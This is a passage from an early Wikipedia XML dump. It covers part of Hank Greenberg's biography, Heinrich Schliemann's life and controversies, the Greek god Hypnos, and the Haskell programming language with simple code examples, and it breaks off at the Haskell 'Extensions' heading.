As a fielder, the 6'4&quot; Greenberg was awkward and unsure of himself early in his career, but he mastered his first-base position through countless hours of practice.  When he was asked to move to the outfield in 1940 to make room for Rudy York, he worked tirelessly to master that position as well.

==Records and Baseball style==

A prodigious home-run hitter, he narrowly missed breaking [[Babe Ruth]]'s single-season home-run record in [[1938]] when he hit 58 home runs.  The story goes that several pitchers intentionally walked Greenberg towards the end of the season rather than give a Jewish man a chance to break Babe Ruth's record.  (There is some reason to dispute this as a motive.  It is true that the Cleveland Indians did not give Greenberg good pitches to hit during the last week of the season; it is also true that Detroit and Cleveland were battling for third place, which in those days carried with it a share of World Series profits, so Cleveland players had a financial interest in keeping Greenberg from hitting home runs.)

For his own part, Greenberg felt that runs batted in were more important than home runs.  He would tell his teammates, &quot;just get on base&quot;, or &quot;just get the runner to third&quot;, and he would do the rest.  He batted in 170 runs in 1935 and in 1937 topped that with 183 (third all-time behind [[Hack Wilson]] in 1930 and [[Lou Gehrig]] in 1931).

After moving to the outfield in [[1940]], Greenberg led the Tigers to a pennant and won his second MVP award, becoming at the time, only the second player ever to win the MVP award at two different positions.

==WWII Service==

The Detroit [[draft board]] initially classified Greenberg as [[4F]] for &quot;flat feet.&quot;  Rumors that he had bribed the board and concern that he would be likened to [[Jack Dempsey]], who received negative publicity for failure to serve in World War I, led Greenberg to be reexamined, and he was found fit to serve.  

Although drafted in 1940, he was honorably discharged after Congress released men aged 28 years or older from service, being released on December 5, 1941, two days before the Japanese bombed [[Pearl Harbor]].  Greenberg re-enlisted and volunteered for service in the [[United States Army Air Corps]].  He graduated from [[Officer Candidate School]] and was commissioned as a [[first lieutenant]].  He eventually served overseas in the China-Burma-India theater, scouting locations for B-29 bases.

==Return to Baseball==

Greenberg remained in uniform until the summer of 1945.  Without the benefit of spring training, he returned to the Tigers and helped lead them to a come-from-behind American League pennant, clinching it with a grand-slam home run on the final game of the season.  In [[1946]] he returned to peak form.

It is often estimated that Greenberg, had he played in another era uninterrupted by war, would have amassed between 500 and 600 home runs and 1,800 to 2,000 RBI.  As it is, his totals of 331 home runs and 1,276 RBI are amazing for a 1,394-game career.  He also hit for average, batting .313.

In [[1947]], Greenberg and the Tigers had a lengthy salary dispute.  When Greenberg decided to retire rather than play for less, Detroit traded him to the [[Pittsburgh Pirates]].  To persuade him not to retire, Pittsburgh made Greenberg the first baseball player to earn over $100,000 in a season (though the exact amount is a matter of some dispute).  Team co-owner [[Bing Crosby]] recorded a song, &quot;Goodbye, Mr. Ball, Goodbye&quot; with [[Groucho Marx]] and Greenberg, to celebrate Greenberg's arrival.  The Pirates also moved in the seats in Forbes Field's cavernous left field, renaming the section &quot;Greenberg's Gardens&quot;, to accommodate Greenberg's pull-hitting style.  Greenberg played first base for the Pirates for 1947, and was one of the few opposing players to publicly welcome [[Jackie Robinson]] to the majors.

==Coaching and ownership==
The following year, Greenberg retired from the field to become the [[Cleveland Indians]]' farm system director and two years later, their general manager.  His contributions in finding and developing talent contributed to that team's successes through the 1950s.  He followed [[Bill Veeck]] to the [[Chicago White Sox]], as part-owner, and then retired from baseball in 1963 to go into investment banking.

==Family==
He married Coral [[Gimbel's|Gimbel]] (of the New York department store family) on [[February 18]], [[1946]], three days after signing a $60,000 contract with the Tigers. Their son, Steven, played five years in the Washington Senators and [[Texas Rangers (baseball)|Texas Rangers]] organizations.  In [[1995]], Steve Greenberg founded Classic Sports Network, which was purchased by [[ESPN]] and became [[ESPN Classic]].

==Honors==
* [[MLB Most Valuable Player award|American League Most Valuable Player]], [[1934]] and [[1940]].
* American League All-Star team, [[1937]]-[[1940]].
* First Jewish player elected to the [[National Baseball Hall of Fame and Museum|National Baseball Hall of Fame]], in [[1956 in sports|1956]].
* In [[1999]], despite injuries and wartime service that essentially limited him to half a career, he ranked Number 37 on ''[[The Sporting News]]''' list of the 100 Greatest Baseball Players, and was nominated as a finalist for the [[Major League Baseball]] All-Century Team.

Greenberg died in [[Beverly Hills, California]] and his remains were entombed at [[Hillside Memorial Park Cemetery]] in [[Culver City, California]].

Documentary: ''The Life and Times of Hank Greenberg'', [[2000]].

Autobiography: ''The Story of My Life'', ISBN 1892049236

In 2006, Greenberg will be featured on a [[United States]] [[postage stamp]] [http://www.usps.com/communications/news/stamps/2005/sr05_054.htm].  The stamp is one of a block of four honoring Baseball Sluggers.

==Legacy==
Greenberg was considered a sports icon in the [[Jewish American]] community.

Greenberg was not the first [[Jew]]ish man to play major-league baseball, but by the end of his career he had become by far the best Jewish player ever, and the first major Jewish star.  In the 50 years since Greenberg's retirement, only [[Sandy Koufax]] achieved similar success among Jewish players. Greenberg was subject to the most vicious ethnic taunting seen in the sport prior to the arrival of [[Jackie Robinson]] in [[1947 in sports|1947]], yet Greenberg nevertheless became a first-rank ballplayer and an icon among Jews in the United States.

==External links==
*[http://www.baseballhalloffame.org/hofers_and_honorees/hofer_bios/greenberg_hank.htm Baseball Hall of Fame]
*Greenberg's statistics at [http://www.baseball-reference.com/g/greenha01.shtml Baseball-Reference.com]
*Biography at Jewish Virtual Library [http://www.jewishvirtuallibrary.org/jsource/biography/greenberg.html]
*WWII and Baseball article [http://history.acusd.edu/gen/WW2Timeline/dimaggio3.html]

[[Category:1911 births|Greenberg, Hank]]
[[Category:1986 deaths|Greenberg, Hank]]
[[Category:1937 American League All-Stars|Greenberg, Hank]]
[[Category:1938 American League All-Stars|Greenberg, Hank]]
[[Category:1939 American League All-Stars|Greenberg, Hank]]
[[Category:1940 American League All-Stars|Greenberg, Hank]]
[[Category:1945 All-Star Game (unofficial)|Greenberg, Hank]]
[[Category:American World War II veterans|Greenberg, Hank]]
[[Category:Baseball Hall of Fame|Greenberg, Hank]]
[[Category:Bronxites|Greenberg, Hank]]
[[Category:Cleveland Indians executives|Greenberg, Hank]]
[[Category:Detroit Tigers players|Greenberg, Hank]]
[[Category:Jewish American sportspeople|Greenberg, Hank]]
[[Category:Major league first basemen|Greenberg, Hank]]
[[Category:Pittsburgh Pirates players|Greenberg, Hank]]

[[ja:ハンク・グリーンバーグ]]</text>
    </revision>
  </page>
  <page>
    <title>Heinrich Schliemann</title>
    <id>13628</id>
    <revision>
      <id>41554788</id>
      <timestamp>2006-02-28T03:01:48Z</timestamp>
      <contributor>
        <username>Cmdrjameson</username>
        <id>101935</id>
      </contributor>
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      <text xml:space="preserve">[[Image:Heinrich_schliemann_portrait.jpg|thumb|200px|Portrait of Heinrich Schliemann.]]
'''Heinrich Schliemann''' ([[January 6]], [[1822]] &amp;ndash; [[December 26]], [[1890]]) was a [[Germany|German]] classical [[archaeologist]], an advocate of the historical reality of places mentioned in the works of [[Homer]], and an important excavator of [[Mycenaean]] sites, such as [[Troy]], [[Mycenae]] and [[Tiryns]].

==Childhood==

Heinrich was born at [[Neubukow]], in [[Mecklenburg-Schwerin]], to Ernst Schliemann, a poor Protestant minister, and Luise Therese Sophie. He was one of a large family. In 1831, when he was 9, his mother died. There is no question that this was a traumatic event for him. Later in life he seemed attracted to women named Sophie.

He went to live with his uncle, Friederich Schliemann, perhaps because of an educational opportunity. He enrolled in the [[Gymnasium (school)|Gymnasium]] at [[Neustrelitz]] at age 11. His attendance was paid for by his father.

He was at the Gymnasium for at least a year. Later he claimed that, as a boy, his interest in history was encouraged by his father, who, he said, had schooled him in the tales of The [[Iliad]] and The [[Odyssey]] and had given him a copy of Ludwig Jerrer's ''Illustrated History of the World'' for Christmas, 1829.
Schliemann also later claimed that at the age of eight he declared he would one day excavate the city of [[Troy]].

It is unknown whether his childhood interest in and connection with the classics continued during his time at the Gymnasium, but it is likely that he would have been further exposed to Homer. It may be that he had just enough of a classical education to endow him with a yearning for it when it was snatched from him; he was transferred to the vocational school, or [[Realschule]], after his father was accused of embezzling church funds, and had to quit the vocational school in 1836, when his father had no funds to pay for it.  According to his diary, his interest in ancient Greece was conceived when he overheard drunken university student citing the [[Odyssey]] of Homer in classical Greek and so Heinrich was taken by the language's beauty.  However, the accuracy of that information remains questionable, as do many details in his diary, given his lack of providing the whole truth as he did by forging documents to divorce his wife and lied, later on, in his papers to obtain US citizenship.

This established the fundamental character of his later life. He wanted to return to the educated life, to reacquire all the things of which he was deprived in childhood. In his archaeological career, there was always a dichotomy between the educated professionals and Schliemann. Heinrich developed a certain tendency to pose as something he was not. Moreover, the experiences of his father gave him a sympathy to means that were not always legal or aboveboard.

After leaving Realschule, Heinrich became a grocer's apprentice at age fourteen, for Herr Holtz's grocery in Furstenburg. He labored in the grocery for five years, reading voraciously whenever he had a spare moment. In 1841 Schliemann fled to [[Hamburg]] and became a cabin boy on the '''Dorothea''', a steamer bound for [[Venezuela]]. After twelve days at sea the ship foundered in a gale, and the survivors washed up on the shores of [[Holland]].

==Career as a businessman==

After his shipwreck, Schliemann seems to have undergone a brief period of being footloose in [[Amsterdam]] and Hamburg, at age 19. This circumstance came to an end with his employment, in 1842, at the commodities firm of F. C. Quien and Son. (Some say this was in Amsterdam; others say [[Prussia]].) He became a messenger, office attendant and then book-keeper there. As messenger, he would stamp bills of exchange and cash them. 

On March 1, 1844, he changed jobs, going to work for B. H. Shröder &amp; Co., an import/export firm. There he evidenced such judgement and talent for the work that they sent him as a general agent in 1846 to [[St. Petersburg]], where the markets were favorable. He represented a number of companies. He prospered there, but how well is not known. In view of his later experiences with his first wife, he probably did not become rich at that time. He did learn Russian and Greek, employing a system that he used his entire life to learn languages -- Schliemann wrote his diary in the language of whatever country he happened to be in.

Schliemann had a gift for languages and by the end of his life he was conversant in [[English language|English]], [[French language|French]], [[Dutch language|Dutch]], [[Spanish language|Spanish]], [[Portuguese language|Portuguese]], [[Swedish language|Swedish]], [[Italian language|Italian]], [[Greek language|Greek]], [[Latin]], [[Russian language|Russian]], [[Arabic language|Arabic]] and [[Turkish language|Turkish]] as well as his native [[German language|German]]. Schliemann's ability with languages was an important part of his career as a businessman in the importing trade. How well he actually knew those languages is another question, but he seemed reasonably at home in many nations.

In 1850 Heinrich learned of the death of his brother, Ludwig, who had become wealthy as a speculator in the California gold fields. Taking the cue, Schliemann went to California in early 1851 and started a bank in [[Sacramento, California|Sacramento]]. The bank bought and resold over a million dollars in gold dust in just six months. The prospectors could mine or pan for the gold, but they had no way to sell it except to middle men such as Schliemann, who made quick fortunes on it.

Later Heinrich claimed to have acquired [[United States]] citizenship when California was made a state. According to his memoirs, before arriving in California he had dined in Washington with President [[Millard Filmore]] and family. He also published an account of the San Francisco fire of 1851.

He wasn't in the United States long. On [[April 7]], [[1852]], he sold his business rather suddenly (due to fever, he said) and returned to Russia. There he attempted to live the life of a gentleman, which brought him into contact with Ekaterina Lyschin, the niece of one of his wealthy friends. Previously he had learned that his childhood sweetheart, Minna, had married. He was now 30.

Heinrich and Ekaterina were married on [[October 12]], [[1852]]. The marriage was troubled from the start. Ekaterina wanted him to be richer than he was and witheld conjugal rights until he made a move in that direction, which he did. The canny Schliemann cornered the market in indigo and then went into the indigo business, turning a good round profit. This move won him Ekaterina's intimacy and they had a son, Sergey. Two other children followed.

Having a family to support moved Schliemann to tend to business even though he still had his first fortune. He found a way to make yet another quick fortune as a military contractor in the [[Crimean War]], 1854-1856. He cornered the market in saltpeter, brimstone and lead, constituents of ammunition, which he resold to the Russian government.

By 1858, Schliemann was as wealthy as ever a man could wish. The poor minister's son had overcome poverty in his own life. He refused to haunt the halls of trade and speculation. He was not a professional businessman, and was no longer interested in speculation.

Some say he retired at 36, which would have been in 1858; others say 1863, at age 41. In his memoirs he claimed that he wished to dedicate himself to the pursuit of Troy, but this claim, along with many others, is unlikely to be true.

==Life as a classical archaeologist==

[[Image:Sophia_schliemann_treasure.jpg|left|thumb|Sophia Schliemann (née Engastromenos) wearing treasures recovered at Hisarlik.]]

It is not certain by what path Schliemann really did arrive at either archaeology or Troy. He travelled a great deal, seeking out ways to link his name to famous cultural and historical icons. One of his most famous exploits was disguising himself as a [[Bedouin]] tribesman to gain access to forbidden areas of [[Mecca]]. 

His first interest of a classical nature seems to have been the location of Troy. The city's very existence was then in dispute. Perhaps his attention was attracted by the first excavations at [[Santorini]] in 1862 by [[Ferdinand Fouqué]]. This possibility argues for an early retirement date, as he was already an international traveller by then. On the other hand, he may have been inspired by [[Frank Calvert]], whom he met on his first visit to the Hisarlik site in 1868.

Somewhere in his many travels and adventures he lost Ekaterina. She was not interested in adventure and had remained in Russia. Schliemann claimed to have utilised the divorce laws of Indiana in 1850, after becoming a citizen, in order to divorce Ekaterina in absentia. This story established more of a distance between his first and second wives.

Based on the work of a British [[archaeologist]], [[Frank Calvert]], who had been excavating the site in Turkey for over 20 years, Schliemann decided that [[Hissarlik]] was the site of Troy. In 1868 - a busy year for Schliemann - he visited sites in the Greek world, published ''Ithaka, der Peloponnes und Troja'' in which he advocated for Hissarlik as the site of Troy, and submitted a dissertation in ancient Greek proposing the same thesis to the University of [[Rostock]]. He later claimed to have received a degree from Rostock by that submission.

In 1868, regardless of his previous interests and adventures, or the paths by which he arrived at that year, Schliemann's course was set. He would take over Calvert's excavations on the eastern half of the Hissarlik site, which was on Calvert's property. The Turkish government owned the western half. Calvert became Schliemann's collaborator and partner. 

Schliemann brought dedication, enthusiasm, conviction and a not inconsiderable fortune to the work. Excavations cannot be made without funds, and are vain without publication of the results. Schliemann was able to provide both. Consequently, he dominated the field of Mycenaean archaeology in his lifetime and despite his many faults still commands the loyalty of classical archaeologists, perhaps deservedly so.

Schliemann knew he would need an &quot;insider&quot; collaborator versed in Greek culture of the times. As he had just divested himself of Ekaterina (1868), he was in a position to advertise for a wife, which he did, in the Athens newspaper. His friend, the Archbishop of Athens, suggested a relative of his, the seventeen-year-old Sophia Engastromenos. As she fit the qualifications, he married her almost at once (1869). They later had two children, Andromache and Agamemnon Schliemann; he reluctantly allowed them to be baptised, but only solemnized the ceremony by placing a copy of [[The Iliad]] on the children's heads and reciting a hundred hexameters.

By 1871 Schliemann was ready to go to work at Troy. Thinking that Homeric Troy must be in the lowest level, he dug hastily through the upper levels, reaching fortifications that he took to be his target. In 1872 he and Calvert fell out over this method. Schliemann flew into a fury when Calvert published an article stating that the Trojan War period was missing from the record, probably meaning that Schliemann had destroyed it.

As if to exonerate his views, a cache of gold suddenly appeared in 1873, which Heinrich dubbed &quot;[[Priam's Treasure]].&quot; According to him, he saw the gold glinting in the dirt and dismissed the workmen so that he and Sophie could personally excavate it and remove it in Sophie's shawl. Sophie wore one item, &quot;the Jewels of Helen&quot;, for the public. He published his findings in ''Trojanische Altertümer'', 1874.

[[Image:MaskeAgamemnon.JPG|thumb|200px|right|The so-called '[[Mask of Agamemnon]]', discovered by Heinrich Schliemann in 1876 at Mycenae.]]

This publicity stunt backfired when the Turkish government revoked his permission to dig and sued him for a share of the gold. Collaborating with Calvert, he had smuggled the treasure out of Turkey, which did not endear him to the Turkish authorities. This was not the first time Calvert and Schliemann had [[smuggled antiquities]]. This sort of behavior contributed toward bad relations with other nations, which extended into the future.

Meanwhile Heinrich published ''Troja und seine Ruinen'' in 1875 and excavated the [[Treasury of Minyas]] at [[Orchomenos]]. In 1876 he began excavating at [[Mycenae]]. Discovering the [[Shaft Graves]] with their skeletons and more regal gold, such as the [[Mask of Agamemnon]], the irrepressible Heinrich cabled the king of Greece. The results were published in ''Mykena'', 1878.

Although he had received permission to excavate in 1876, Schliemann did not reopen the dig at Troy until 1878-1879, after another excavation in Ithaca designed to locate the actual sites of the [[Odysseus]] story. This was his second excavation at Troy. [[Emile Burnouf]] and [[Rudolph Virchow]] joined him in 1879. There was a third excavation, 1882-1883, an excavation of [[Tiryns]] in 1884 with [[Wilhelm Dörpfeld]], and a fourth at Troy, 1888-1890, with Dörpfeld, who taught him to stratigraphize. By then, much of the site had been lost to unscientific digging.

==Decline and death==

On [[August 1]], [[1890]], Schliemann returned to [[Athens]], and in [[November]] traveled to [[Halle]] for an operation on his chronically infected ears. The doctors dubbed the operation a success, but his inner ear became painfully inflamed. Ignoring his doctors' advice, he left the hospital and traveled to [[Leipzig]], [[Berlin]], and [[Paris]]. From [[Paris]], he planned to return to [[Athens]] in time for [[Christmas]], but his ears became even worse. Too sick to make the boat ride from [[Naples]] to [[Greece]], Schliemann remained in [[Naples]], but managed to make a journey to the ruins of [[Pompeii]]. On Christmas day he collapsed in [[Naples]] and died in a hotel room on [[December 26]], [[1890]]. His corpse was then transported by friends to Athens. It was then interred into a mausoleum, a temple erected in ancient Greek style.

==The dark side of Schliemann==

Schliemann's career began before [[archaeology]] developed as a professional field, and so, by present standards, the field technique of Schliemann's work leaves a lot to be desired. Indeed, further excavation of the [[Troy]] site by others has indicated that the level he named the [[Troy]] of the ''[[Iliad]]'' was not that; in fact, all of the materials given Homeric names by Schliemann are considered of a pseudo- nature, although they retain the names. His excavations were even condemned by the archaeologists of his time as having destroyed the main layers of the real [[Troy]]. They were forgetting that, before Schliemann, not many people even believed in a real Troy.

One of the main problems of his work is that King Priam's Treasure was putatively found in the Troy II level, of the primitive Early Bronze Age, long before Priam's city of Troy VI or Troy VIIa in the prosperous and elaborate Mycenaean Age. Moreover, the finds were unique. These unique and elaborate gold artifacts do not appear to belong to the Early Bronze Age.

In the 1960's, Dr. William Niederland, a psychoanalyst, conducted a psychobiography of Schliemann, to account for his unconscious motives. Niederland read thousands of Schliemann's letters and found that he hated his father and blamed him for his mother's death, as evidenced by vituperative letters to his sisters. This view seems to contradict the loving image Heinrich gave and calls the entire childhood dedication to Homer into question. Nothing in the early letters to indicate that he was even interested in Troy or classical archaeology.

Niederland concluded that Schliemann's preoccupation (as he saw it) with graves and the dead reflected grief over the loss of his mother, for which he blamed his father, and his efforts at resurrecting the Homeric dead represent a restoration of his mother. Whether this sort of evaluation is valid is debatable.

In 1972, Professor William Calder of the University of Colorado, speaking at a commemoration of Schliemann's birthday, revealed that he had uncovered several untruths. Other investigators followed, such as Professor David Traill of the University of California. 

Schliemann claimed in his memoirs to have dined with President Millard Fillmore in the White House in 1850.  However newspapers of the day make no mention of such a meeting, and it seems unlikely that the president of the United States would have a desire to hob-nob with a poor immigrant. Schliemann left California hastily in order to escape from his business partner, whom he had cheated. In the frontier society of the gold rush, cheating was punishable by [[lynching]]. 

Nor did Schliemann become a U.S. citizen in 1850 as he claimed. He was granted citizenship in New York city in 1868 on the basis of his false claim that he had been a long-time resident. He did divorce Ekaterina from Indiana, in 1868, an obvious hasty move to clear the way for Sophia. 

He never received any degree from the University of Rostock, which rejected his application and thesis.

Schliemann's worst offense, by academic standards, is that he may have fabricated Priam's Treasure, or at least combined several disparate finds. His servant, Yannakis, testified that he found some of it in a tomb some distance away, and that it contained no gold. Later it developed that he hired a goldsmith to manufacture some artifacts in Mycenaean style, and planted them at the site. Others were collected from other places on the site. Though Sophia was in Athens visiting her family at the time, it is possible she colluded with him on the secret, as he claimed she helped him and she didn't deny it.

==Sources==
* Boorstin, Daniel. ''The Discoverers'', 1983
* Durant, Will. ''The Life of Greece'', 1939
* Silberman, Neil Asher, ''Between Past and Present: Archaeology, Ideology, and Nationalism in the Modern Middle East'', Doubleday, New York, 1990 (Copyright 1989), ISBN 0-385-41610-5
* Wood, Michael, ''In Search of the Trojan War'', New American Library, 1987 (Copyright 1985), ISBN 0-452-25960-6

==Works==
* ''La Chine et le Japon au temps présent''. Paris: Librairie centrale 1867.
* ''Ithaka, der Peloponnes und Troja'', 1868
* ''Trojanische Altertümer'', 1874
* ''Troja und seine Ruinen'', 1875
* ''Mykena'', 1878

== External links ==
* [http://www.utexas.edu/courses/wilson/ant304/biography/arybios97/kingbio.html Heinrich Schliemann: Heros &amp; Mythos]  by Wellington King

* [http://www.mnsu.edu/emuseum/information/biography/pqrst/schliemann_heinrich.html Heinrich Schliemann biography]

*[http://www.ascsa.edu.gr/archives/Gennadius/Schliemann/SchScope.htm Heinrich Schliemann and Family Papers]

[[Category:1822 births|Schliemann, Heinrich]]
[[Category:1890 deaths|Schliemann, Heinrich]]
[[Category:German archaeologists|Schliemann, Heinrich]]
[[Category:Polyglots|Schliemann, Heinrich]]
[[Category:Natives of Mecklenburg-Western Pomerania|Schliemann, Heinrich]]

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[[zh:海因里希·施里曼]]</text>
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  <page>
    <title>Hypnos</title>
    <id>13629</id>
    <revision>
      <id>41279247</id>
      <timestamp>2006-02-26T06:27:21Z</timestamp>
      <contributor>
        <username>Luxdormiens</username>
        <id>86123</id>
      </contributor>
      <text xml:space="preserve">In [[Greek mythology]], '''Hypnos''' was the personification of sleep; the [[Roman mythology|Roman]] equivalent was known as Somnus. His twin was [[Thanatos]] (&quot;death&quot;); their mother was the goddess [[Nyx]] (&quot;night&quot;).

His palace was a dark cave where the sun never shines.  At the entrance were a number of poppies and other [[Hypnagogia|hypnogogic]] plants.

His offspring consisted of the things that occur in dreams, the [[Oneiroi]].  The three principal of these appear in the dreams of kings: [[Morpheus (mythology)|Morpheus]], [[Phobetor]] and [[Phantasos]]. According to one story he lived in a cave underneath a [[Greece|Greek]] island; through this cave flowed [[Lethe]], the river of forgetfulness.

[[Endymion (mythology)|Endymion]] received the power to sleep with his eyes open from Hypnos, in order to constantly watch his beloved [[Selene]].

In art, Hypnos was portrayed as a naked youthful man, sometimes with a beard, and wings attached to his head.  He is sometimes shown as a man asleep on a bed of feathers with black curtains about him.  [[Morpheus (god)|Morpheus]] is his chief minister and prevents noises from waking him.  In [[Sparta]], the image of Hypnos was always put near that of [[death]].

==Other Media==
* Hypnos is one of [[Hades]]' minions and villains in the popular [[anime]] ''[[Saint Seiya]]''.

* Hypnos is the central character of Argentinian writer &quot;Gavriel&quot; in his collection of poems &quot;Hypnos, the rambling dream&quot;.

* [[Hypno]] is also the name of a pokemon evolved from the Pokemon [[Drowzee]].

* [[Hypnos (Digimon)|Hypnos]] is also the name of a fictional secret organization in ''[[Digimon|Digimon Tamers]]''.  

* Hypnos has an appearance in ''[[Monkeybone]]'' as the main bad guy from Downtown who sent Monkeybone into the living world to make him nightmares. Here, he is depicted as a [[satyr]]. He is played by [[Giancarlo Esposito]].

[[Category:Greek gods]]

* Hypnos is also an exclusive brand of furniture within the United Kingdom, focussing specifically on beds and matresses. The small family owned company has been providing the Royal family with furniture support for over 100 years.

* Hypnos is also the name of a powerful boss in [[Resident Evil: Survivor]]

* [[Hypnos_(label) | Hypnos Recordings]] is an independent record label in the [[ambient]] music genre.

* Hypnos is the title of a minor tale by horror author [[H.P. Lovecraft]].

==See Also==
[[Hesiod's Theogony]]

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[[ja:ヒュプノス]]
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[[he:היפנוס]]</text>
    </revision>
  </page>
  <page>
    <title>Haskell programming language</title>
    <id>13630</id>
    <revision>
      <id>42136039</id>
      <timestamp>2006-03-04T01:34:19Z</timestamp>
      <contributor>
        <username>Catamorphism</username>
        <id>313650</id>
      </contributor>
      <comment>/* Examples */ &quot;appearances&quot; is a strange word to use here</comment>
      <text xml:space="preserve">[[Image:Haskell Logo.jpg|frame|Haskell logo]]

'''Haskell''' is a standardized [[purely functional|pure]] [[functional programming|functional]] [[programming language]] with [[non-strict programming language|non-strict semantics]] named after the logician [[Haskell Curry]]. It was created by a committee formed in [[1987]] for the express purpose of defining such a language. The direct predecessor of Haskell was [[Miranda programming language|Miranda]], devised in [[1985]].
The latest official language standard outside the standardization organizations is '''Haskell 98''', intended to specify a minimal, portable version of the language for teaching and as a base for future extensions. 

The language continues to evolve rapidly, with [[Hugs]] and [[Glasgow Haskell Compiler|GHC]] (see below) representing the current [[de facto#De facto standards|''de facto'' standard]].

Characterizing syntax features in Haskell include [[pattern matching]], [[currying]], [[list comprehension]]s, [[guard (computing)|guard]]s, and definable [[operator (programming)|operator]]s. The language also supports [[recursion|recursive]] functions and [[algebraic data type]]s, as well as [[lazy evaluation]]. Unique concepts include [[Monads in functional programming|monad]]s, and [[type class]]es.
The combination of such features can make [[function (programming)|functions]] which would be difficult to write in a procedural programming language almost trivial to implement in Haskell.

The language is, as of [[as of 2002|2002]], the [[Lazy evaluation|lazy]] [[functional programming language|functional language]] on which the most research is being performed.  Several variants have been developed: parallelizable versions from [[Massachusetts Institute of Technology|MIT]] and [[Glasgow University|Glasgow]], both called Parallel Haskell; more parallel and distributed versions called Distributed Haskell (formerly Goffin) and [[Eden programming language|Eden]]; a [[speculative execution|speculatively evaluating]] version called Eager Haskell and several [[object orientation|object oriented]] versions: Haskell++, [[O'Haskell]] and [[Mondrian programming language|Mondrian]].

Although Haskell has a comparatively small user community, its strengths have been well applied to a few projects. [[Audrey Tang]]'s [[Pugs]] is an implementation for the forthcoming Perl 6 language with an interpreter and compilers that proved useful already after just a few months of its writing. [[Darcs]] is a revision control system, with several innovative features.

There is also a Haskell-like language that offers a new method of support for [[GUI]] development called [[Clean programming language|Concurrent Clean]].  Its biggest deviation from Haskell is in the use of [[uniqueness type]]s for input as opposed to [[Monads in functional programming|monads]].

==Examples==
A simple toy example that is often used to demonstrate some of the possibilities of [[functional language]]s is the [[factorial]] function, shown below in Haskell.

 fac :: Integer -&gt; Integer
 fac 0 = 1
 fac n | n &gt; 0 = n *fac (n-1)

Or on a single line:

 let { fac 0 = 1; fac n | n &gt; 0 = n *fac (n-1) }

This describes the factorial as a recursive function, with a single terminating base case. It is similar to the descriptions of factorials found in mathematics textbooks. Much of Haskell code is similar to mathematics in facility and syntax.

The first line of the factorial function shown is optional, and describes the ''types'' of this function. It can be read as ''the function fac'' (fac) ''has type'' (::) ''from integer to integer'' (Integer -&gt; Integer). That is, it takes an integer as an argument, and returns another integer.

The second line relies on [[pattern matching]], an important feature of Haskell. Note that parameters of a function are not in parentheses but separated by spaces. When the function's argument is 0 (zero) it will return the integer 1 (one). For all other cases the third line is tried. This is the [[recursion]], and executes the function again until the base case is reached. 

A [[guard (computing)|guard]] protects the third line from negative numbers for which a factorial is undefined. Without the guard this function would recurse through all negative numbers without ever reaching the base case of 0. As it is, the pattern matching is not complete: if a negative integer is passed to the fac function as an argument, the program will fail with a runtime error. A final case could check for this error condition and print an appropriate error message instead.

The &quot;Prelude&quot; is a number of small functions analogous to [[C programming language|C]]'s [[C standard library|standard library]]. Using the Prelude and writing in the &quot;point free&quot; style of unspecified arguments, it becomes: 

 fac = product . enumFromTo 1

A simple way to test such examples in the hugs interpreter, as opposed to writing and compiling a full Haskell program, is to use a where clause. Enter the function name and parameters followed by where and then the function definition.

 fac 5 where fac = product . enumFromTo 1

The above is close to mathematical definitions such as ''f = g &lt;small&gt;o&lt;/small&gt; h'' (see [[function composition]]), and indeed, it is ''not'' an assignment of a value to a variable.

===More complex examples===
A simple [[RPN]] calculator: 

 calc = foldl f [] . words
   where 
     f (x:y:zs) &quot;+&quot; = y+x:zs
     f (x:y:zs) &quot;-&quot; = y-x:zs
     f (x:y:zs) &quot;*&quot; = y*x:zs
     f (x:y:zs) &quot;/&quot; = y/x:zs
     f xs y = (read y :: Float):xs

A function which returns a stream of the [[Fibonacci numbers]] in linear time:

 fibs = 0 : 1 : (zipWith (+) fibs (tail fibs))

The same function, written using GHC's [[parallel list comprehension]] syntax (GHC extensions must be enabled using a special command-line flag; see GHC's manual for more):

 fibs = 0 : 1 : [ a+b | a &lt;- fibs | b &lt;- tail fibs ]

The factorial we saw previously can be written as a sequence of functions:

 &lt;nowiki&gt;fac n = (foldl (.) id [\x -&gt; x*k | k &lt;- [1..n]]) 1&lt;/nowiki&gt;

A remarkably concise function that returns the list of [[Hamming numbers]] in order:

 hamming = 1 : map (*2) hamming # map (*3) hamming # map (*5) hamming
     where xxs@(x:xs) # yys@(y:ys)
               | x==y = x : xs#ys
               | x&lt;y  = x : xs#yys
               | x&gt;y  = y : xxs#ys


:''See also [[List of hello world programs#Haskell]] for an example that prints text.''

==Criticism==
Haskell has many advanced features not found in other programming languages; these features can and have been criticized for making the language more complex and difficult to understand. Some of the criticism directed  against [[functional programming language]]s and non-mainstream [[programming language]]s are applicable to Haskell. In addition, there are complaints stemming from the purity of Haskell and its theoretical roots.

Jan-Willem Maessen in 2002 and [[Simon Peyton Jones]] in 2003 discuss the problems that come with lazy evaluation while they acknowledge the theoretical motivation for it. In addition to adding overhead, laziness makes it more difficult for programmers to reason about the performance of their code.

The language difficulties facing Haskell programmers have been recognized by [[Bastiaan Heeren]], [[Daan Leijen]], and [[Arjan van IJzendoorn]] in 2003. To achieve a language implementation that can give user-friendly error messages, they had to develop an advanced compiler (Helium) and limit some of the generality of Haskell, such as removing support for type classes.

==Implementations==
The following all comply fully, or very nearly, with the Haskell 98 standard, and are distributed under [[open source]] licences. There are currently no commercial Haskell implementations.

*'''[[Glasgow Haskell Compiler]]''' [http://www.haskell.org/ghc/]. The Glasgow Haskell Compiler compiles to native code on a number of different architectures, and can also compile to C. GHC is probably the most popular Haskell compiler, and there are quite a few useful libraries (e.g. bindings to [[OpenGL]]) that will only work with GHC.
*'''Gofer''' An educational version of Haskell, Gofer was developed by Mark Jones. It was supplanted by HUGS.
*'''HBC''' [http://www.cs.chalmers.se/~augustss/hbc/hbc.html] is another native-code Haskell compiler. It hasn't been actively developed for some time, but is still usable.
*'''Helium''' [http://www.cs.uu.nl/helium/] is a newer dialect of Haskell. The focus is on making it easy to learn by providing clearer error messages. It currently lacks typeclasses, making it incompatible with many Haskell programs.
*'''[[Hugs]]''' [http://www.haskell.org/hugs/] is a [[bytecode]] interpreter. It offers fast compilation of programs and reasonable execution speed. It also comes with a simple graphics library. Hugs is good for people learning the basics of Haskell, but is by no means a &quot;toy&quot; implementation. It is the most portable and lightweight of the Haskell implementations.
*'''Jhc''' [http://repetae.net/john/computer/jhc/] a haskell compiler written by John Meacham emphasising speed and efficiency of generated programs as well as exploration of new program transformations.
*'''nhc98''' [http://www.cs.york.ac.uk/fp/nhc98/] is another bytecode compiler, but the bytecode runs significantly faster than with Hugs. Nhc98 focuses on minimising memory usage, and is a particularly good choice for older, slower machines.

==Extensions==
